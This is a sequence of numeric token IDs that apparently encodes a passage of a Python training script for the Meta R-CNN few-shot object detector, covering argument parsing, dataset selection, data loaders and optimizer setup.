220, 220, 220, 220, 220, 220, 220, 220, 220, 1037, 11639, 25356, 779, 29369, 5631, 11537, 198, 220, 220, 220, 30751, 13, 2860, 62, 49140, 10786, 438, 1443, 3256, 2244, 11639, 43501, 62, 7857, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1037, 11639, 43501, 62, 7857, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 4277, 28, 16, 11, 2099, 28, 600, 8, 198, 220, 220, 220, 30751, 13, 2860, 62, 49140, 10786, 438, 66, 363, 3256, 2244, 11639, 4871, 62, 4660, 15132, 3256, 4277, 28, 25101, 11, 2099, 28, 30388, 11, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1037, 11639, 25356, 1620, 1398, 62, 4660, 15132, 275, 3524, 20683, 11537, 198, 220, 220, 220, 1303, 2896, 500, 13634, 10007, 198, 220, 220, 220, 30751, 13, 2860, 62, 49140, 10786, 438, 28961, 62, 27432, 3256, 2244, 11639, 28961, 62, 27432, 3256, 4277, 28, 25101, 11, 2099, 28, 30388, 11, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1037, 11639, 25356, 1620, 13634, 3047, 11537, 198, 220, 220, 220, 30751, 13, 2860, 62, 49140, 10786, 438, 28961, 62, 22462, 3256, 2244, 11639, 28961, 62, 22462, 3256, 4277, 28, 25101, 11, 2099, 28, 30388, 11, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1037, 11639, 25356, 1620, 4375, 13634, 2994, 11537, 198, 220, 220, 220, 30751, 13, 2860, 62, 49140, 10786, 438, 7645, 2359, 425, 3256, 2244, 11639, 7645, 2359, 425, 3256, 4277, 28, 17821, 11, 2099, 28, 30388, 11, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1037, 11639, 25356, 1620, 1007, 2359, 425, 11537, 198, 220, 220, 220, 30751, 13, 2860, 62, 49140, 10786, 438, 41464, 1634, 3256, 2244, 11639, 41464, 1634, 3256, 4277, 28, 25101, 11, 2099, 28, 30388, 11, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1037, 11639, 25356, 1620, 32704, 11537, 198, 220, 220, 220, 30751, 13, 2860, 62, 49140, 10786, 438, 40715, 3256, 2244, 11639, 40715, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1037, 11639, 1169, 7108, 286, 3047, 1429, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 4277, 28, 16, 11, 2099, 28, 600, 8, 198, 220, 220, 220, 30751, 13, 2860, 62, 49140, 10786, 438, 20910, 3256, 2244, 11639, 20910, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1037, 11639, 1169, 1271, 13634, 5128, 286, 4810, 45, 3127, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 4277, 28, 16, 11, 2099, 28, 600, 8, 198, 220, 220, 220, 30751, 13, 2860, 62, 49140, 10786, 438, 28961, 62, 4906, 3256, 2244, 11639, 28961, 62, 4906, 3256, 4277, 28, 16, 11, 2099, 28, 600, 11, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1037, 11639, 6679, 577, 543, 5621, 286, 1138, 330, 31172, 11537, 198, 220, 220, 220, 1303, 4566, 23989, 198, 220, 220, 220, 30751, 13, 2860, 62, 49140, 10786, 438, 78, 3256, 2244, 11639, 40085, 7509, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1037, 11639, 34409, 6436, 7509, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 4277, 2625, 82, 21287, 1600, 2099, 28, 2536, 8, 198, 220, 220, 220, 30751, 13, 2860, 62, 49140, 10786, 438, 14050, 3256, 2244, 11639, 14050, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1037, 11639, 38690, 4673, 2494, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 4277, 28, 15, 13, 8298, 11, 2099, 28, 22468, 8, 198, 220, 220, 220, 30751, 13, 2860, 62, 49140, 10786, 438, 14050, 62, 12501, 323, 62, 9662, 3256, 2244, 11639, 14050, 62, 12501, 323, 62, 9662, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1037, 11639, 9662, 284, 466, 4673, 2494, 22119, 11, 4326, 318, 36835, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 4277, 28, 19, 11, 2099, 28, 600, 8, 198, 220, 220, 220, 30751, 13, 2860, 62, 49140, 10786, 438, 14050, 62, 12501, 323, 62, 28483, 2611, 3256, 2244, 11639, 14050, 62, 12501, 323, 62, 28483, 2611, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1037, 11639, 40684, 2494, 22119, 8064, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 4277, 28, 15, 13, 16, 11, 2099, 28, 22468, 8, 198, 220, 220, 220, 1303, 900, 3047, 6246, 198, 220, 220, 220, 30751, 13, 2860, 62, 49140, 10786, 438, 82, 3256, 2244, 11639, 29891, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1037, 11639, 34409, 6246, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 4277, 28, 16, 11, 2099, 28, 600, 8, 198, 220, 220, 220, 1303, 15294, 8776, 2746, 198, 220, 220, 220, 30751, 13, 2860, 62, 49140, 10786, 438, 81, 3256, 2244, 11639, 411, 2454, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1037, 11639, 411, 2454, 26954, 393, 407, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 4277, 28, 25101, 11, 2099, 28, 30388, 8, 198, 220, 220, 220, 30751, 13, 2860, 62, 49140, 10786, 438, 42116, 2521, 3256, 2244, 11639, 42116, 2521, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1037, 11639, 42116, 2521, 284, 3440, 2746, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 4277, 28, 16, 11, 2099, 28, 600, 8, 198, 220, 220, 220, 30751, 13, 2860, 62, 49140, 10786, 438, 2395, 66, 365, 79, 5374, 3256, 2244, 11639, 2395, 66, 365, 79, 5374, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1037, 11639, 2395, 66, 365, 79, 5374, 284, 3440, 2746, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 4277, 28, 940, 11, 2099, 28, 600, 8, 198, 220, 220, 220, 30751, 13, 2860, 62, 49140, 10786, 438, 9122, 4122, 3256, 2244, 11639, 9122, 4122, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1037, 11639, 9122, 4122, 284, 3440, 2746, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 4277, 28, 28896, 5332, 11, 2099, 28, 600, 8, 198, 220, 220, 220, 1303, 2604, 290, 288, 544, 1759, 198, 220, 220, 220, 30751, 13, 2860, 62, 49140, 10786, 438, 1904, 62, 27110, 3526, 3256, 2244, 11639, 1904, 62, 27110, 3526, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1037, 11639, 25356, 779, 11192, 273, 11125, 11192, 273, 3526, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 4277, 28, 17821, 11, 2099, 28, 30388, 8, 198, 220, 220, 220, 30751, 13, 2860, 62, 49140, 10786, 438, 6404, 62, 15908, 3256, 2244, 11639, 6404, 62, 15908, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1037, 11639, 34945, 284, 3613, 17259, 3256, 4277, 11639, 6404, 82, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2099, 28, 2536, 8, 198, 220, 220, 220, 26498, 796, 30751, 13, 29572, 62, 22046, 3419, 198, 220, 220, 220, 1441, 26498, 628, 198, 198, 361, 11593, 3672, 834, 6624, 705, 834, 12417, 834, 10354, 198, 220, 220, 220, 26498, 796, 21136, 62, 22046, 3419, 628, 220, 220, 220, 3601, 10786, 34, 4262, 351, 26498, 25, 11537, 198, 220, 220, 220, 3601, 7, 22046, 8, 198, 220, 220, 220, 611, 26498, 13, 1904, 62, 27110, 3526, 25, 198, 220, 220, 220, 220, 220, 220, 220, 6260, 796, 21293, 34379, 7, 22046, 13, 6404, 62, 15908, 8, 198, 220, 220, 220, 611, 26498, 13, 19608, 292, 316, 6624, 366, 66, 25634, 5539, 1298, 198, 220, 220, 220, 220, 220, 220, 220, 26498, 13, 320, 9945, 62, 3672, 796, 366, 66, 25634, 62, 5539, 62, 27432, 1, 198, 220, 220, 220, 220, 220, 220, 220, 26498, 13, 320, 9945, 2100, 62, 3672, 796, 366, 66, 25634, 62, 5539, 62, 2100, 1, 198, 220, 220, 220, 220, 220, 220, 220, 26498, 13, 2617, 62, 12993, 14542, 796, 37250, 1565, 3398, 1581, 62, 6173, 1847, 1546, 3256, 44438, 17, 11, 604, 11, 807, 11, 1467, 11, 3933, 60, 3256, 705, 1565, 3398, 1581, 62, 49, 1404, 40, 2640, 3256, 44438, 15, 13, 20, 11, 16, 11, 17, 60, 3256, 705, 22921, 62, 41359, 62, 19555, 62, 39758, 1546, 3256, 705, 1120, 20520, 198, 220, 220, 220, 1288, 361, 26498, 13, 19608, 292, 316, 6624, 366, 66, 25634, 1298, 198, 220, 220, 220, 220, 220, 220, 220, 26498, 13, 320, 9945, 62, 3672, 796, 366, 66, 25634, 62, 4967, 62, 27432, 10, 66, 25634, 62, 4967, 62, 2100, 40191, 1084, 2473, 1, 198, 220, 220, 220, 220, 220, 220, 220, 26498, 13, 320, 9945, 2100, 62, 3672, 796, 366, 66, 25634, 62, 4967, 62, 1084, 2473, 1, 198, 220, 220, 220, 220, 220, 220, 220, 26498, 13, 2617, 62, 12993, 14542, 796, 37250, 1565, 3398, 1581, 62, 6173, 1847, 1546, 3256, 44438, 17, 11, 604, 11, 807, 11, 1467, 11, 3933, 60, 3256, 705, 1565, 3398, 1581, 62, 49, 1404, 40, 2640, 3256, 44438, 15, 13, 20, 11, 16, 11, 17, 60, 3256, 705, 22921, 62, 41359, 62, 19555, 62, 39758, 1546, 3256, 705, 1120, 20520, 198, 220, 220, 220, 1288, 361, 26498, 13, 19608, 292, 316, 6624, 366, 79, 27747, 62, 18893, 62, 2998, 1065, 1298, 198, 220, 220, 220, 220, 220, 220, 220, 611, 26498, 13, 40715, 6624, 352, 25, 1303, 1115, 3858, 286, 2779, 290, 5337, 6097, 30778, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 611, 26498, 13, 28961, 62, 4906, 6624, 352, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 26498, 13, 320, 9945, 62, 3672, 796, 366, 18893, 62, 12726, 62, 27432, 62, 11085, 62, 35312, 10, 18893, 62, 6999, 62, 27432, 62, 11085, 62, 35312, 1, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1288, 361, 26498, 13, 28961, 62, 4906, 6624, 362, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 26498, 13, 320, 9945, 62, 3672, 796, 366, 18893, 62, 12726, 62, 27432, 62, 12227, 62, 35312, 10, 18893, 62, 6999, 62, 27432, 62, 12227, 62, 35312, 1, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1288, 361, 26498, 13, 28961, 62, 4906, 6624, 513, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 26498, 13, 320, 9945, 62, 3672, 796, 366, 18893, 62, 12726, 62, 27432, 62, 17089, 62, 35312, 10, 18893, 62, 6999, 62, 27432, 62, 17089, 62, 35312, 1, 198, 220, 220, 220, 220, 220, 220, 220, 2073, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 26498, 13, 320, 9945, 62, 3672, 796, 366, 18893, 62, 12726, 62, 20910, 1, 1303, 262, 4277, 35846, 6934, 220, 7448, 3108, 286, 13634, 6097, 287, 262, 717, 7108, 198, 220, 220, 220, 220, 220, 220, 220, 26498, 13, 320, 9945, 2100, 62, 3672, 796, 366, 18893, 62, 12726, 62, 9288, 1, 198, 220, 220, 220, 220, 220, 220, 220, 26498, 13, 2617, 62, 12993, 14542, 796, 37250, 1565, 3398, 1581, 62, 6173, 1847, 1546, 3256, 44438, 23, 11, 1467, 11, 3933, 60, 3256, 705, 1565, 3398, 1581, 62, 49, 1404, 40, 2640, 3256, 44438, 15, 13, 20, 11, 16, 11, 17, 60, 3256, 705, 22921, 62, 41359, 62, 19555, 62, 39758, 1546, 3256, 705, 1238, 20520, 198, 220, 220, 220, 220, 1303, 262, 1271, 286, 5621, 286, 1138, 330, 31172, 198, 220, 220, 220, 30218, 70, 13, 51, 3861, 1268, 13, 44, 20892, 62, 25216, 796, 26498, 13, 28961, 62, 4906, 628, 220, 220, 220, 30218, 70, 13, 19108, 62, 33346, 62, 45, 5653, 796, 26498, 13, 66, 15339, 198, 220, 220, 220, 611, 26498, 13, 66, 15339, 25, 198, 220, 220, 220, 220, 220, 220, 220, 30218, 70, 13, 43633, 5631, 796, 6407, 628, 220, 220, 220, 26498, 13, 37581, 62, 7753, 796, 366, 12993, 14542, 14, 411, 8784, 62, 907, 13, 88, 4029, 1, 198, 220, 220, 220, 611, 26498, 13, 37581, 62, 7753, 318, 407, 6045, 25, 198, 220, 220, 220, 220, 220, 220, 220, 30218, 70, 62, 6738, 62, 7753, 7, 22046, 13, 37581, 62, 7753, 8, 198, 220, 220, 220, 611, 26498, 13, 2617, 62, 12993, 14542, 318, 407, 6045, 25, 198, 220, 220, 220, 220, 220, 220, 220, 30218, 70, 62, 6738, 62, 4868, 7, 22046, 13, 2617, 62, 12993, 14542, 8, 628, 220, 220, 220, 3601, 10786, 12814, 4566, 25, 11537, 198, 220, 220, 220, 279, 4798, 13, 381, 22272, 7, 37581, 8, 198, 220, 220, 220, 45941, 13, 25120, 13, 28826, 7, 37581, 13, 49, 10503, 62, 5188, 1961, 8, 198, 220, 220, 220, 1303, 13165, 354, 13, 805, 723, 62, 28826, 7, 37581, 13, 49, 10503, 62, 5188, 1961, 8, 220, 1303, 220, 10310, 118, 36037, 164, 106, 122, 163, 121, 106, 49694, 237, 17312, 118, 163, 100, 235, 36310, 198, 220, 220, 220, 1303, 13165, 354, 13, 66, 15339, 13, 805, 723, 62, 28826, 7, 37581, 13, 49, 10503, 62, 5188, 1961, 8, 220, 1303, 220, 10310, 118, 37605, 241, 30298, 235, 33346, 164, 106, 122, 163, 121, 106, 49694, 237, 17312, 118, 163, 100, 235, 36310, 198, 220, 220, 220, 611, 28034, 13, 66, 15339, 13, 271, 62, 15182, 3419, 290, 407, 26498, 13, 66, 15339, 25, 198, 220, 220, 220, 220, 220, 220, 220, 3601, 7203, 31502, 25, 921, 423, 257, 29369, 5631, 3335, 11, 523, 345, 815, 2192, 1057, 351, 1377, 66, 15339, 4943, 198, 220, 220, 220, 611, 26498, 13, 40715, 6624, 352, 25, 198, 220, 220, 220, 220, 220, 220, 220, 1303, 3274, 7108, 691, 779, 262, 2779, 6097, 198, 220, 220, 220, 220, 220, 220, 220, 6934, 796, 939, 198, 220, 220, 220, 220, 220, 220, 220, 611, 26498, 13, 28961, 62, 4906, 6624, 352, 25, 220, 1303, 220, 779, 262, 717, 5621, 286, 2779, 6097, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1138, 330, 31172, 796, 30218, 70, 13, 51, 3861, 1268, 13, 33, 1921, 2943, 43, 10705, 1546, 62, 39776, 2257, 198, 220, 220, 220, 220, 220, 220, 220, 611, 26498, 13, 28961, 62, 4906, 6624, 362, 25, 220, 1303, 220, 779, 262, 1218, 5621, 286, 2779, 6097, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1138, 330, 31172, 796, 30218, 70, 13, 51, 3861, 1268, 13, 33, 1921, 2943, 43, 10705, 1546, 62, 23683, 18672, 198, 220, 220, 220, 220, 220, 220, 220, 611, 26498, 13, 28961, 62, 4906, 6624, 513, 25, 220, 1303, 220, 779, 262, 2368, 5621, 286, 2779, 6097, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1138, 330, 31172, 796, 30218, 70, 13, 51, 3861, 1268, 13, 33, 1921, 2943, 43, 10705, 1546, 62, 4221, 46833, 198, 220, 220, 220, 2073, 25, 198, 220, 220, 220, 220, 220, 220, 220, 1303, 5498, 7108, 691, 779, 1178, 9442, 1271, 286, 2779, 290, 5337, 6097, 198, 220, 220, 220, 220, 220, 220, 220, 6934, 796, 26498, 13, 20910, 198, 220, 220, 220, 220, 220, 220, 220, 611, 26498, 13, 28961, 62, 4906, 6624, 352, 25, 220, 1303, 220, 779, 262, 717, 5621, 286, 477, 6097, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1138, 330, 31172, 796, 30218, 70, 13, 51, 3861, 1268, 13, 7036, 31631, 1546, 62, 39776, 2257, 198, 220, 220, 220, 220, 220, 220, 220, 611, 26498, 13, 28961, 62, 4906, 6624, 362, 25, 220, 1303, 220, 779, 262, 1218, 5621, 286, 477, 6097, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1138, 330, 31172, 796, 30218, 70, 13, 51, 3861, 1268, 13, 7036, 31631, 1546, 62, 23683, 18672, 198, 220, 220, 220, 220, 220, 220, 220, 611, 26498, 13, 28961, 62, 4906, 6624, 513, 25, 220, 1303, 220, 779, 262, 2368, 5621, 286, 477, 6097, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1138, 330, 31172, 796, 30218, 70, 13, 51, 3861, 1268, 13, 7036, 31631, 1546, 62, 4221, 46833, 198, 220, 220, 220, 997, 62, 1322, 796, 18896, 7, 4164, 330, 31172, 8, 198, 220, 220, 220, 1303, 8335, 13634, 5621, 329, 13634, 3047, 198, 220, 220, 220, 611, 26498, 13, 28961, 62, 27432, 25, 198, 220, 220, 220, 220, 220, 220, 220, 1303, 5678, 262, 5128, 27039, 286, 4810, 45, 3127, 198, 220, 220, 220, 220, 220, 220, 220, 33705, 62, 7857, 796, 26063, 198, 220, 220, 220, 220, 220, 220, 220, 611, 26498, 13, 40715, 6624, 352, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 33705, 62, 2617, 796, 685, 10786, 12726, 3256, 705, 27432, 2100, 33809, 19203, 6999, 3256, 705, 27432, 2100, 11537, 60, 198, 220, 220, 220, 220, 220, 220, 220, 2073, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 33705, 62, 2617, 796, 685, 10786, 12726, 3256, 705, 27432, 2100, 11537, 60, 198, 220, 220, 220, 220, 220, 220, 220, 1138, 324, 265, 292, 316, 796, 30277, 27354, 292, 316, 10786, 7890, 14, 53, 4503, 7959, 15813, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 33705, 62, 2617, 11, 1138, 330, 31172, 11, 33705, 62, 7857, 11, 6934, 28, 20910, 11, 36273, 28, 17821, 11, 40715, 796, 26498, 13, 40715, 8, 198, 220, 220, 220, 220, 220, 220, 220, 1303, 3601, 7, 4164, 324, 265, 292, 316, 8, 628, 220, 220, 220, 220, 220, 220, 220, 6147, 1170, 263, 796, 28034, 13, 26791, 13, 7890, 13, 6601, 17401, 7, 4164, 324, 265, 292, 316, 11, 15458, 62, 7857, 28, 16, 11, 36273, 28, 25101, 11, 997, 62, 22896, 28, 15, 11, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 6757, 62, 31673, 28, 17821, 8, 198, 220, 220, 220, 220, 220, 220, 220, 1303, 3601, 7, 4164, 324, 265, 292, 316, 8, 628, 198, 220, 220, 220, 545, 9945, 11, 686, 312, 65, 11, 8064, 62, 4868, 11, 8064, 62, 9630, 796, 5929, 62, 3882, 65, 7, 22046, 13, 320, 9945, 62, 3672, 8, 198, 220, 220, 220, 1303, 8106, 686, 312, 65, 329, 262, 1218, 7108, 198, 220, 220, 220, 611, 26498, 13, 40715, 6624, 362, 25, 198, 220, 220, 220, 220, 220, 220, 220, 686, 312, 65, 796, 8106, 62, 4871, 62, 3882, 65, 7, 3882, 65, 11, 26498, 13, 20910, 11, 545, 9945, 8, 198, 220, 220, 220, 220, 220, 220, 220, 8064, 62, 4868, 11, 8064, 62, 9630, 796, 4279, 62, 3882, 65, 62, 10366, 952, 7, 3882, 65, 8, 198, 220, 220, 220, 220, 220, 220, 220, 545, 9945, 13, 2617, 62, 3882, 65, 7, 3882, 65, 8, 628, 220, 220, 220, 4512, 62, 7857, 796, 18896, 7, 3882, 65, 8, 198, 220, 220, 220, 3601, 10786, 90, 25, 67, 92, 686, 312, 65, 12784, 4458, 18982, 7, 11925, 7, 3882, 65, 22305, 198, 220, 220, 220, 25064, 13, 19282, 448, 13, 25925, 3419, 628, 220, 220, 220, 5072, 62, 15908, 796, 26498, 13, 21928, 62, 15908, 198, 220, 220, 220, 611, 407, 28686, 13, 6978, 13, 1069, 1023, 7, 22915, 62, 15908, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 28686, 13, 76, 4335, 17062, 7, 22915, 62, 15908, 8, 628, 220, 220, 220, 6072, 20053, 62, 43501, 796, 6072, 20053, 7, 27432, 62, 7857, 11, 26498, 13, 43501, 62, 7857, 8, 198, 220, 220, 220, 27039, 796, 686, 571, 963, 17401, 7, 3882, 65, 11, 8064, 62, 4868, 11, 8064, 62, 9630, 11, 26498, 13, 43501, 62, 7857, 11, 545, 9945, 13, 22510, 62, 37724, 11, 3047, 28, 17821, 8, 198, 220, 220, 220, 4818, 282, 1170, 263, 796, 28034, 13, 26791, 13, 7890, 13, 6601, 17401, 7, 19608, 292, 316, 11, 15458, 62, 7857, 28, 22046, 13, 43501, 62, 7857, 11, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 6072, 20053, 28, 37687, 20053, 62, 43501, 11, 997, 62, 22896, 28, 22046, 13, 22510, 62, 22896, 11, 6757, 62, 31673, 28, 25101, 8, 628, 220, 220, 220, 1303, 2315, 346, 1096, 262, 3127, 994, 198, 220, 220, 220, 611, 26498, 13, 3262, 6624, 705, 4164, 5605, 20471, 10354, 198, 220, 220, 220, 220, 220, 220, 220, 5443, 7397, 6144, 796, 581, 3262, 7, 320, 9945, 13, 37724, 11, 997, 62, 1322, 11, 8949, 11, 2181, 13363, 28, 17821, 11, 1398, 62, 4660, 15132, 28, 22046, 13, 4871, 62, 4660, 15132, 11, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 13634, 62, 27432, 28, 22046, 13, 28961, 62, 27432, 11, 13634, 62, 22462, 28, 22046, 13, 28961, 62, 22462, 11, 1007, 2359, 425, 28, 22046, 13, 7645, 2359, 425, 11, 32704, 28, 22046, 13, 41464, 1634, 8, 198, 220, 220, 220, 5443, 7397, 6144, 13, 17953, 62, 998, 5712, 495, 3419, 628, 220, 220, 220, 1303, 2315, 346, 1096, 262, 6436, 7509, 994, 198, 220, 220, 220, 300, 81, 796, 30218, 70, 13, 51, 3861, 1268, 13, 2538, 1503, 15871, 62, 49, 6158, 198, 220, 220, 220, 300, 81, 796, 26498, 13, 14050, 198, 220, 220, 220, 42287, 796, 17635, 198, 220, 220, 220, 329, 1994, 11, 1988, 287, 8633, 7, 69, 1603, 7397, 6144, 13, 13190, 62, 17143, 7307, 3419, 737, 23814, 33529, 198, 220, 220, 220, 220, 220, 220, 220, 611, 1988, 13, 47911, 62, 9744, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 611, 705, 65, 4448, 6, 287, 1994, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 42287, 15853, 685, 90, 6, 37266, 10354, 685, 8367, 4357, 705, 14050, 10354, 300, 81, 1635, 357, 37581, 13, 51, 3861, 1268, 13, 35, 2606, 19146, 62, 3483, 1921, 1343, 352, 828, 3467, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 705, 6551, 62, 12501, 323, 10354, 30218, 70, 13, 51, 3861, 1268, 13, 3483, 1921, 62, 41374, 4792, 290, 30218, 70, 13, 51, 3861, 1268, 13, 8845, 9947, 62, 41374, 4792, 393, 657, 92, 60, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2073, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 42287, 15853, 685, 90, 6, 37266, 10354, 685, 8367, 4357, 705, 14050, 10354, 300, 81, 11, 705, 6551, 62, 12501, 323, 10354, 30218, 70, 13, 51, 3861, 1268, 13, 8845, 9947, 62, 41374, 4792, 92, 60, 198, 220, 220, 220, 611, 26498, 13, 40085, 7509, 6624, 366, 324, 321, 1298, 198, 220, 220, 220, 220, 220, 220, 220, 300, 81, 796, 300, 81, 1635, 657, 13, 16, 198, 220, 220, 220, 220, 220, 220, 220, 6436, 7509, 796, 28034, 13, 40085, 13, 23159, 7, 37266, 8, 198, 220, 220, 220, 1288, 361, 26498, 13, 40085, 7509, 6624, 366, 82, 21287, 1298, 198, 220, 220, 220, 220, 220, 220, 220, 6436, 7509, 796, 28034, 13, 40085, 13, 38475, 35, 7, 37266, 11, 12858, 28, 37581, 13, 51, 3861, 1268, 13, 44, 2662, 3525, 5883, 8, 628, 220, 220, 220, 611, 26498, 13, 66, 15339, 25, 198, 220, 220, 220, 220, 220, 220, 220, 5443, 7397, 6144, 13, 66, 15339, 3419, 628, 220, 220, 220, 611, 26498, 13, 411, 2454, 25, 198, 220, 220, 220, 220, 220, 220, 220, 3440, 62, 3672, 796, 28686, 13, 6978, 13, 22179, 7, 22915, 62, 15908, 11, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 705, 90, 92, 62, 4164, 5605, 20471, 23330, 92, 23330, 92, 23330, 27422, 79, 400, 4458, 18982, 7, 22046, 13, 